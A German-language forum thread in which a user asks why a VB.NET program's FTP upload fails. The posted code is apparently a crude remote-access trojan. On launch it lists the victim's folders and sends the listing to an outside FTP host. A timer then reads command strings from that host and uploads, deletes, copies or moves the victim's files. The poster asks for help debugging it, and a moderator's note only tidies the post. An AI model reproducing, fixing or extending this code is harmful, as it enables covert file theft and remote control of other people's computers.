Unbekannter Fehler bei Datei-Upload

  • VB.NET

Es gibt 1 Antwort in diesem Thema. Der letzte Beitrag () ist von RodFromGermany.

    Unbekannter Fehler bei Datei-Upload

    hei Leute ich hab ein programm das mit einem ftp server kommuniziert und eins geht nicht und zwar es zu uploaden ich nehme an das der text in der textbox nicht angezeigt wird denn es kommt immer das es kein Dateiname sein soll weil ja "" drin steht in der Textbox3 wo das ja drinn stehen sollte.

    VB.NET-Quellcode

    1. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    2. Timer1.Start()
    3. RichTextBox1.Text = GetList("c:\")
    4. Dim Username As String = Environment.UserName
    5. Dim wct As New Net.WebClient
    6. wct.Credentials = New Net.NetworkCredential("", "")
    7. wct.UploadString("ftp://22up22.download.ac/" & Username & ".txt", "")
    8. wct.UploadString("ftp://22up22.download.ac/" & Username & "1.txt", "")
    9. wct.UploadString("ftp://22up22.download.ac/" & Username & "2.txt", "")
    10. End Sub
    11. Public Function GetList(ByVal Root As String) As String
    12. Dim Username As String = Environment.UserName
    13. Dim tmp As String = ""
    14. Dim info1 As New IO.DirectoryInfo("C:\Program Files")
    15. Dim info2 As New IO.DirectoryInfo(My.Computer.FileSystem.GetFileInfo("C:\Program Files").Directory.ToString)
    16. Dim info3 As New IO.DirectoryInfo("C:\Users\" & Username)
    17. Dim info4 As New IO.DirectoryInfo("C:\Users\" & Username & "\Documents\Desktop")
    18. Dim dicts() As IO.DirectoryInfo = info1.GetDirectories
    19. Dim files() As IO.FileInfo = info2.GetFiles
    20. Dim dicts1() As IO.DirectoryInfo = info3.GetDirectories
    21. Dim files1() As IO.FileInfo = info3.GetFiles
    22. Dim dicts2() As IO.DirectoryInfo = info4.GetDirectories
    23. Dim files2() As IO.FileInfo = info4.GetFiles
    24. For Each d In dicts
    25. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    26. Next
    27. For Each f In files
    28. tmp &= "Datei: " & f.FullName & Environment.NewLine
    29. Next
    30. For Each d In dicts1
    31. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    32. Next
    33. For Each f In files1
    34. tmp &= "Datei: " & f.FullName & Environment.NewLine
    35. Next
    36. For Each d In dicts2
    37. tmp &= "Ordner: " & d.FullName & Environment.NewLine
    38. Next
    39. For Each f In files2
    40. tmp &= "Datei: " & f.FullName & Environment.NewLine
    41. Next
    42. Return tmp
    43. End Function
    44. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    45. Dim wct2 As New Net.WebClient
    46. wct2.Credentials = New Net.NetworkCredential("", "")
    47. wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
    48. TextBox3.Text = wct2.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "2.txt")
    49. Dim wct As New Net.WebClient
    50. wct.Credentials = New Net.NetworkCredential("", "")
    51. wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
    52. TextBox1.Text = wct.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt")
    53. Dim wct1 As New Net.WebClient
    54. wct1.Credentials = New Net.NetworkCredential("", "")
    55. wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
    56. TextBox2.Text = wct1.DownloadString("ftp://22up22.download.ac/" & Environment.UserName & "1.txt")
    57. If TextBox1.Text = "ok4" Then
    58. My.Computer.FileSystem.MoveFile(TextBox2.Text, TextBox3.Text)
    59. End If
    60. If TextBox1.Text = "ok" Then
    61. Dim wct4 As New Net.WebClient
    62. wct4.Credentials = New Net.NetworkCredential("", "")
    63. wct4.UploadString("ftp://22up22.download.ac/" & Environment.UserName & ".txt", RichTextBox1.Text)
    64. End If
    65. If TextBox1.Text = "ok2" Then
    66. My.Computer.FileSystem.DeleteFile(TextBox2.Text)
    67. End If
    68. If TextBox1.Text = "ok3" Then
    69. My.Computer.FileSystem.CopyFile(TextBox2.Text, TextBox3.Text)
    70. End If
    71. If TextBox1.Text = "ok1" Then
    72. My.Computer.Network.UploadFile(TextBox2.Text, "ftp://22up22.download.ac/" & TextBox3.Text, "", "")
    73. End If
    74. End Sub
    75. End Class


    Edit by Manschula: Auf das korrekte Einstellen von Beiträgen/Themen sowie auf eine sinnvolle Fehler-/Problembeschreibung achten! --> Thema verschoben, VB-Tag für Codeausschnitt eingefügt, unsinniger Titel bereinigt

    Dieser Beitrag wurde bereits 1 mal editiert, zuletzt von „Manschula“ ()